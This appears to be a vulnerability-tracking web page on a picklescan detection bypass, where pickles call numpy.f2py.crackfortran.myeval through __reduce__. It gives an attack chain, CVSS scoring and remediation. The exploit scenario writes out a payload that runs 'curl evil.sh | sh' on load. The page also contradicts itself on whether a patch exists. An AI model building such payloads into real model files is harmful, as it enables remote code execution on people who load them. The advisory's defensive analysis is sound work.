Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft pickle with myeval in __reduce__
-
DeliveryPublish as model checkpoint on hub
-
ExploitVictim runs picklescan < 0.0.33
-
InstallScanner returns clean verdict
-
C2Victim calls pickle.load/torch.load
-
Executemyeval evaluates embedded string
-
ImpactArbitrary code executes in victim process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to (1) be running picklescan at a version below 0.0.33, (2) use picklescan's verdict as a gate before calling pickle.load() / torch.load() on the attacker-supplied file, (3) actually open the malicious pickle (UI:P - user interaction), and (4) have NumPy installed so that numpy.f2py.crackfortran.myeval resolves at unpickle time. Limiting factors: organisations that do not use picklescan are unaffected (they have other pickle exposure but not this specific bypass), environments without NumPy will raise ImportError rather than execute the payload, and the attack delivers no impact unless the victim chooses to load the file after the clean scan. |
| Impact | The CVSS 4.0 vector AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N rates this 7.6 because exploitation is network-reachable and unauthenticated but requires the victim to actively load an attacker-supplied pickle (UI:P) and to be running a vulnerable picklescan version in a configuration where the scanner's verdict gates loading (AT:P). No EPSS, KEV, or SSVC data was supplied, so widespread automated exploitation cannot be confirmed; however, publicly available exploit code exists in the GHSA advisory and the payload is trivially reusable across any pickle-bearing artifact (PyTorch .bin/.pt files, joblib dumps, cached objects). The realistic risk is targeted supply-chain abuse of ML model repositories rather than mass internet scanning, but for organisations that built trust workflows around picklescan, the bypass directly defeats the security control they rely on. |
| Exploit ScenarioDerived | An attacker publishes a malicious PyTorch checkpoint to a model hub whose pickle payload's __reduce__ returns (numpy.f2py.crackfortran.myeval, ('os.system("curl evil.sh | sh")',)); a victim runs picklescan < 0.0.33 against the file, receives a clean verdict, and then calls torch.load() or pickle.load(), which invokes myeval and executes the embedded shell command under the victim's account. The PoC in the GHSA advisory demonstrates the exact reduce-method payload, so weaponization requires no novel research. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 23, 2026
Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files by abusing numpy.f2py.crackfortran.myeval in a __reduce__ method, which the scanner fails to flag as dangerous. Any ML pipeline or model-hosting workflow that trusts picklescan's verdict before calling pickle.load() will execute attacker-controlled commands; publicly available exploit code exists in the GHSA advisory, and the CVSS 4.0 score of 7.6 reflects high confidentiality and integrity impact contingent on user interaction.
RemediationAI
Vendor-released patch: picklescan 0.0.33 - upgrade via pip install --upgrade picklescan>=0.0.33, with the upstream fix in PR https://github.com/mmaitre314/picklescan/pull/53 and commit 70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab. Until the upgrade lands, add numpy.f2py.crackfortran.myeval (and ideally the entire numpy.f2py.crackfortran module) to any local denylist or custom Unpickler.find_class() override, and treat any model whose scan predates the fix as untrusted; the trade-off is false positives against legitimate NumPy Fortran workflows, which are uncommon outside scientific computing. As a stronger compensating control, switch to safetensors or another non-pickle serialization for model interchange - this eliminates the deserialization class entirely but requires re-exporting existing checkpoints. Consult the GHSA advisory at https://github.com/mmaitre314/picklescan/security/advisories/GHSA-3329-ghmp-jmv5 for the authoritative fix details.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
picklescan is a Python security tool that statically inspects pickle byte streams for known-dangerous global imports and callables before deserialization, commonly used to gate PyTorch model loading. The vulnerability is a classic CWE-502 (Deserialization of Untrusted Data) blocklist gap: numpy.f2py.crackfortran.myeval - a helper inside NumPy's Fortran parser that calls Python's eval() on a supplied string - was not on picklescan's denylist of risky callables. When a pickle's __reduce__ returns (myeval, ('os.system(...)',)), the pickle machinery invokes myeval at load time, which evaluates the attacker-supplied string and yields arbitrary code execution under the victim process's identity.
Know when Picklescan gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Network-delivered malicious pickle, no privileges, but victim must choose to load the file (UI:R); successful exploit yields full code execution, so C/I/A all High.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
picklescan before 0.0.33 fails to detect malicious pickle files that invoke numpy.f2py.crackfortran.myeval function through the reduce method. Attackers can craft malicious pickle files embedding arbitrary code that evades picklescan detection and executes remote code when loaded.
Executive ViewAI
picklescan, a Python library deployed to validate pickle files before deserialization, contains a detection bypass allowing attackers to inject and execute arbitrary code through specially crafted pickle files; publicly available exploit code exists. Organizations relying on picklescan as a security boundary-particularly ML teams and model-hosting services-face immediate code execution risk because the tool fails to flag dangerous patterns, creating a false sense of security.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Eliminate untrusted pickle deserialization where possible; (2) Restrict pickle file sources to allowlisted internal systems only; (3) Network-isolate systems handling pickle files; (4) Implement process execution monitoring and anomaly detection; (5) Transition to safer serialization formats (JSON, MessagePack, Protocol Buffers).
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
More in Picklescan
View allRemote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio
An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles
A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot
An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0
Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle
Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle
Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr
Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing
Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected i
Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using
Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th
Detection bypass in picklescan before 0.0.29 allows attackers to craft malicious pickle files using idlelib.debugobj.Obj
EUVD-2025-210306
GHSA-x36p-c636-788x
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB